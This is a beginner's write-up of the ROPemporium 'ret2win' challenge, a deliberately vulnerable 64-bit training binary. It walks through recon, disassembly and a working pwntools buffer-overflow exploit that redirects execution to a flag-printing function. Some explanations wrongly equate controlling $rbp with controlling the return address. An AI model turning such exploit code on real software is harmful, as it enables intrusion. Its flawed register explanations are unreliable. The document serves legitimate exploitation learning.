ROPemporium | ret2win
1. Introduction
Welcome to this little write-up on the very first challenge from ROPemporium.
ROPemporium is a platform for learning the mystic art of return-oriented programming(ROP).
This is accomplished by going through 8 challenges in total, with increasing diffyculty.
But before we begin this little eight-part adventure, let's take a closer look at what ROP is for a thing.
1.1. Buffer overflows
I know that I just said i would explain ROP, but before we get into that.
Let us quickly brushup on what a buffer overflow is.
According to the very first paragraph on wikipedia:
In information security and programming, a buffer overflow, or buffer overrun, is an anomaly where a program, while writing data to a buffer, overruns the buffer's boundary and overwrites adjacent memory locations.
So buffer overflows happens when it is possible to put more data into a variable thereby overwriting other memory adresses.
But why is this dangerous??
Because we can manipulate the content in the different registers.
And through this execute abitriary code.
Again this was a veeeery short overview, if you want to read more about buffer overflows, and I recommend that you do, here is a list of resources on the subject:
- Rapid7 - Stack-Based
- Explained with Examples
- 0xrick
- Look at his basic binary series
- Tzaoh's pwning list
- Huge list of resources on all kinds of exploitation
- pwn.college
- A free and opensource exploitation course
Eventually I'll create a series focused just on buffer overflows, but for now you'll have to make do.
1.2. Return Oriented Programming
Again we look towards Wikipedia for more knowledge.
The first paragraph on Wikipedia:
Return-oriented programming (ROP) is a computer security exploit technique that allows an attacker to execute code in the presence of security defenses such as executable space protection and code signing.
The basic principle for ROP is that we can control which function we return to when we land on a ret
instruction.
There is also the topic of gadgets, but I'll explain that in the split
write-up.
But how does one control which the software will return to?
That is exactly what this challenge is about.
2. Recon
Before anything is done you should always to some reconnaissance on your target.
The more you know about the target, the easier it will be to model an attack towards it.
2.1. File
The first thing you should do with any compiled binary that you want to pwn(professionel language for defeating security), is to run the file
command on the the binary.
┌────[~/ha/bi/ropemporium/ret2win on master [?] └─>file ret2win ret2win: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=19abc0b3bb228157af55b8e16af7316d54ab0597, not stripped
What this tells us is that the binary ret2win
is a 64-bit ELF file.
It is not stripped, which means that if there is any debugging information in the code, we should be able to see it.
It also means symbols are left in so we can see function names.
2.2. Checksec
After looking at what file
gives outputs, the next nifty tool we should use is: checksec
.
It is a part of pwntools
, a CTF framework and exploit development library, and can tell us about what kind of security measures that the binary is compiled with.
┌────[~/ha/bi/ropemporium/ret2win on master [?] └─>checksec ret2win [*] '/home/c3lphie/hacking/binary_exploitation/ropemporium/ret2win/ret2win' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
Here we see that there is basically no security measures put in place… Which one would expect on the very first challenge.
But what is it that we see here?
- Arch
- This is the Architecture for which the binary was compiled for. In this case we see that it is
amd64-64-little
I'll break this down further in a minute. - RELRO
- A security measure which makes some binary sections read-only. Partial RELRO means basically nothing for us. Full RELRO is a lot more secure, but I'll tackle this when I encounter it.
- Stack
- This tells us if there are any canaries compiled into the binary. Canaries are a security measure that protect from stack smashing attacks… Like what we're doing here. Not that they can't be handled
- NX
- A technology which splits the areas of memory up so that data can't be executed. This is the security measure we bypass using ROP
- PIE
- If this was enabled, the binary would have been loaded randomly into memory making it harder to exploit. But this is not something we need to worry about.
The architecture this binary was compiled for was amd64-64-little
, let's split this up into two.
amd64-64
means that it's for a 64 bit system.
-little
tells us that is for a little endian system.
Which you can read more about here.
2.3. Reversing the binary
Now there are probably a ton of other tools that you could use to find other things about the binary.
But at this point I know enough about the target for now.
I have chosen Binary ninja for reverse engineering software.
But use what-ever you're most comfortable in, and if you don't have the economy to buy a piece of software, then there are opensource software available like cutter or ghidra(if you're not afraid of the NSA ;)).
2.3.1. Main function
push rbp {__saved_rbp} mov rbp, rsp {__saved_rbp} mov rax, qword [rel stdout] mov ecx, 0x0 mov edx, 0x2 mov esi, 0x0 mov rdi, rax call setvbuf mov edi, 0x400808 {"ret2win by ROP Emporium"} call puts mov edi, 0x400820 {"x86_64\n"} call puts mov eax, 0x0 call pwnme mov edi, 0x400828 {"\nExiting"} call puts mov eax, 0x0 pop rbp {__saved_rbp} retn {__return_addr}
Here we see the main function disassembled, there isn't anything interesting to see.
What we want is the function pwnme, which is called on line 14.
So let's take a look at that instead shall we?
2.3.2. pwnme function
push rbp {__saved_rbp} mov rbp, rsp {__saved_rbp} sub rsp, 0x20 lea rax, [rbp-0x20 {var_28}] mov edx, 0x20 mov esi, 0x0 mov rdi, rax {var_28} call memset mov edi, 0x400838 {"For my first trick, I will attem…"} call puts mov edi, 0x400898 {"What could possibly go wrong?"} call puts mov edi, 0x4008b8 {"You there, may I have your input…"} call puts mov edi, 0x400918 mov eax, 0x0 call printf lea rax, [rbp-0x20 {var_28}] mov edx, 0x38 mov rsi, rax {var_28} mov edi, 0x0 call read mov edi, 0x40091b {"Thank you!"} call puts nop leave {__saved_rbp} retn {__return_addr}
Since this is the function, which should be pwned, lets take a closer look using binary ninjas HLIL.
I know I shouldn't rely on it, but I'm still learning so yeah.
void var_28 memset(&var_28, 0, 0x20) puts(str: "For my first trick, I will attem…") puts(str: "What could possibly go wrong?") puts(str: "You there, may I have your input…") printf(format: data_400918) read(fd: 0, buf: &var_28, nbytes: 0x38) return puts(str: "Thank you!")
Let's clean it up a bit for easier understanding:
void buffer memset(&buffer, 0, 32) puts(str: "For my first trick, I will attem…") puts(str: "What could possibly go wrong?") puts(str: "You there, may I have your input…") printf(format: data_400918) read(fd: 0, buf: &buffer, nbytes: 56) return puts(str: "Thank you!")
As we can see we have a buffer with the size 32 bytes, but the read call accepts up to 56 bytes.
This means that we can overflow the buffer and control the stack.
But how should we control the stack?
Well if you look at the last two lines of the disassembly version of pwnme
leave {__saved_rbp} retn {__return_addr}
If we somehow managed to overwrite __return_addr
we potentially have the ability to make arbitrary code calls.
2.3.3. ret2win function
push rbp {__saved_rbp} mov rbp, rsp {__saved_rbp} mov edi, 0x400926 {"Well done! Here's your flag:"} call puts mov edi, 0x400943 {"/bin/cat flag.txt"} call system nop pop rbp {__saved_rbp} retn {__return_addr}
This is the function we must aim the ret
instruction towards in the pwnme
function
And as we can see it just executes /bin/cat flag.txt
on the system.
3. Exploit
When writing the actual exploit I used 3 tools: emacs
, a terminal
and gdb
.
The first one being my text editor ;), the second is pretty self explanatory and the last is Gnu Debugger.
3.1. Overflowing the buffer
As I wrote earlier we need to do a bufferoverflow.
We know that from Binary Ninja that we have an input buffer that is 32 bytes long.
But the read
function can read up to 56 bytes into the buffer.
So lets see what happen if we put a bunch of data into the buffer!
┌────[~/ha/bi/ropemporium/ret2win on master [?] └─>./ret2win ret2win by ROP Emporium x86_64 For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer! What could possibly go wrong? You there, may I have your input please? And don't worry about null bytes, we're using read()! > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Thank you! zsh: segmentation fault (core dumped) ./ret2win
And we crashed!
But why?
If we try again, but run ret2win
with gdb
attached we can see what happens to the registers.
I have set a break point on the leave
instruction just before the ret
instruction.
And a couple of instructions before the read
call.
If we look at the registers before read
.
[ Legend: Modified register | Code | Heap | Stack | String ] ────────────────────────────────────────────────────────────────────────────────────────── registers ──── $rax : 0x2 $rbx : 0x0000000000400780 → <__libc_csu_init+0> push r15 $rcx : 0x0 $rdx : 0x0 $rsp : 0x00007fffffffe040 → 0x0000000000000000 $rbp : 0x00007fffffffe060 → 0x00007fffffffe070 → 0x0000000000000000 $rsi : 0x00007fffffffbf20 → 0x000000000000203e ("> "?) $rdi : 0x00007ffff7f8f4d0 → 0x0000000000000000 $rip : 0x0000000000400733 → <pwnme+75> lea rax, [rbp-0x20] $r8 : 0x60 $r9 : 0x00007ffff7fdc070 → <_dl_fini+0> endbr64 $r10 : 0x0000000000400918 → 0x6b6e61685400203e ("> "?) $r11 : 0x246 $r12 : 0x00000000004005b0 → <_start+0> xor ebp, ebp $r13 : 0x0 $r14 : 0x0 $r15 : 0x0 $eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
The two registers we are interested in are $rsp
and $rbp
.
$rsp
is the stack pointer, it points to addresses in the stack where the buffer is stored.
$rbp
is the base pointer, it points to the memory address which is the "base" for the function.
When returning from a function, we will land where $rbp
points to.
So lets crash this program!
gef➤ run Starting program: /home/c3lphie/hacking/binary_exploitation/ropemporium/ret2win/ret2win ret2win by ROP Emporium x86_64 For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer! What could possibly go wrong? You there, may I have your input please? And don't worry about null bytes, we're using read()! > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Here I just run it in GDB, and wrote a bunch of A's before hitting enter.
Don't mind the gef➤ prompt, that is just a gdb extension which makes exploit development easier.
Below you can see the content of the registers after the crash.
[ Legend: Modified register | Code | Heap | Stack | String ] ────────────────────────────────────────────────────────────────────────────────────────── registers ──── $rax : 0xb $rbx : 0x0000000000400780 → <__libc_csu_init+0> push r15 $rcx : 0x00007ffff7ebb0f7 → 0x5177fffff0003d48 ("H="?) $rdx : 0x0 $rsp : 0x00007fffffffe040 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" $rbp : 0x00007fffffffe060 → 0x4141414141414141 ("AAAAAAAA"?) $rsi : 0x00007ffff7f8d5a3 → 0xf8f4d0000000000a $rdi : 0x00007ffff7f8f4d0 → 0x0000000000000000 $rip : 0x0000000000400754 → <pwnme+108> leave $r8 : 0xb $r9 : 0x00007ffff7fdc070 → <_dl_fini+0> endbr64 $r10 : 0xfffffffffffffb8b $r11 : 0x246 $r12 : 0x00000000004005b0 → <_start+0> xor ebp, ebp $r13 : 0x0 $r14 : 0x0 $r15 : 0x0 $eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
The hexadecimal value for A is 0x41 when ascii encoded.
And as you can see we managed to overwrite $rbp
, so now we just need to control $rbp
to point to the ret2win
function.
To do this we need to figure out how much data to insert before address.
3.1.1. Cyclic patterns
Using cyclic patterns, we can relatively easy find the padding length of our payload.
from pwn import * context.update(arch="amd64", os="linux") proc = process("./ret2win") gdb.attach(proc, """ b pwnme""") def send_recv(buffer: bytes): proc.recvuntil(b">") proc.sendline(buffer) return proc.recvline() payload = cyclic(56) send_recv(payload) proc.interactive()
Here I used the cyclic
function, from pwntools, to generate a 56 character long de Bruijn sequence.
Which we can use to find our padding length
The above script also attaches gdb, so we can find the pattern in the registers and use that in our exploit.
[ Legend: Modified register | Code | Heap | Stack | String ] ────────────────────────────────────────────────────────────────────────────────────────── registers ──── $rax : 0xb $rbx : 0x0000000000400780 → <__libc_csu_init+0> push r15 $rcx : 0x00007fc84be920f7 → 0x5177fffff0003d48 ("H="?) $rdx : 0x0 $rsp : 0x00007ffdaa836178 → 0x6161616c6161616b ("kaaalaaa"?) $rbp : 0x6161616a61616169 ("iaaajaaa"?) $rsi : 0x00007fc84bf645a3 → 0xf664d0000000000a $rdi : 0x00007fc84bf664d0 → 0x0000000000000000 $rip : 0x0000000000400755 → <pwnme+109> ret $r8 : 0xb $r9 : 0x00007fc84bfad070 → <_dl_fini+0> endbr64 $r10 : 0xfffffffffffffb8b $r11 : 0x246 $r12 : 0x00000000004005b0 → <_start+0> xor ebp, ebp $r13 : 0x0 $r14 : 0x0 $r15 : 0x0 $eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification] $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
And as you can see $rbp
has some sort of weird string.
If we use the function cyclic_find
in conjunction with cyclic
we can find the padding for the exploit.
from pwn import * context.update(arch="amd64", os="linux") proc = process("./ret2win") gdb.attach(proc, """ b pwnme""") def send_recv(buffer: bytes): proc.recvuntil(b">") proc.sendline(buffer) return proc.recvline() payload = cyclic(cyclic_find(0x61616169)) payload += p64(0xdeadbeefcafebabe) send_recv(payload) proc.interactive()
If we concentrate on the payload, we see that we first calculate our padding.
After that we add 0xdeadbeecafebabe
to ensure that we indeed do have control over $rbp
.
[ Legend: Modified register | Code | Heap | Stack | String ] ────────────────────────────────────────────────────────────────────────────────────────── registers ──── $rax : 0xb $rbx : 0x0000000000400780 → <__libc_csu_init+0> push r15 $rcx : 0x00007fa3497a50f7 → 0x5177fffff0003d48 ("H="?) $rdx : 0x0 $rsp : 0x00007fffb9d3f2d0 → 0x0000000000000000 $rbp : 0xdeadbeefcafebabe $rsi : 0x00007fa3498775a3 → 0x8794d0000000000a $rdi : 0x00007fa3498794d0 → 0x0000000000000000 $rip : 0x000000000040060a → <deregister_tm_clones+26> or eax, 0x1058bf5d $r8 : 0xb $r9 : 0x00007fa3498c0070 → <_dl_fini+0> endbr64 $r10 : 0xfffffffffffffb8b $r11 : 0x246 $r12 : 0x00000000004005b0 → <_start+0> xor ebp, ebp $r13 : 0x0 $r14 : 0x0 $r15 : 0x0 $eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
And if I could point your attention to $rbp
, you should see that we have indeed control over the base pointer.
3.2. Useful addresses
Since we already know which function we need to execute, and the binary doesn't have PIE enabled, I went ahead and grabbed the address from Binary Ninja.
Name | Address |
---|---|
ret2win | 0x400756 |
3.3. Final exploit
So know that we have control over the base pointer let's make it point towards ret2win
and finish this challenge.
from pwn import * context.update(arch="amd64", os="linux") proc = process("./ret2win") def send_recv(buffer: bytes): proc.recvuntil(b">") proc.sendline(buffer) return proc.recvline() ret2win_addr = 0x400756 payload = cyclic(cyclic_find(0x6161616B)) payload += p64(ret2win_addr) send_recv(payload) proc.interactive()
As you can see instead of 0xdeadbeefcafebabe
we just use ret2win_addr
.
And if we run the script:
┌────[~/ha/bi/ropemporium/ret2win on master [?] └─>python exploit.py [+] Starting local process './ret2win': pid 170719 [*] Switching to interactive mode Well done! Here's your flag: ROPE{a_placeholder_32byte_flag!} [*] Got EOF while reading in interactive $ [*] Process './ret2win' stopped with exit code -11 (SIGSEGV) (pid 170719) [*] Got EOF while sending in interactive
4. Conclusion
First of all thank you for reading my first proper write-up.
I hope it won't be the last, as I want to publish a new post/write-up/whatever-you-call-it every other week.
So what did we do here?
We got a very basic introduction to buffer overflows and ROP, but hopefully enough to you hooked ;).
We successfully overflowed a buffer which let us control the return address of the function.
My next post will be about ROPemporium split, where we need to make use of so called ROPgadgets.
5. Final words
Thank you for taking some time out of your day to read this post.
If you enjoyed this post, feel free to join my Discord server to get notification whenever I post something and ask questions if there are any.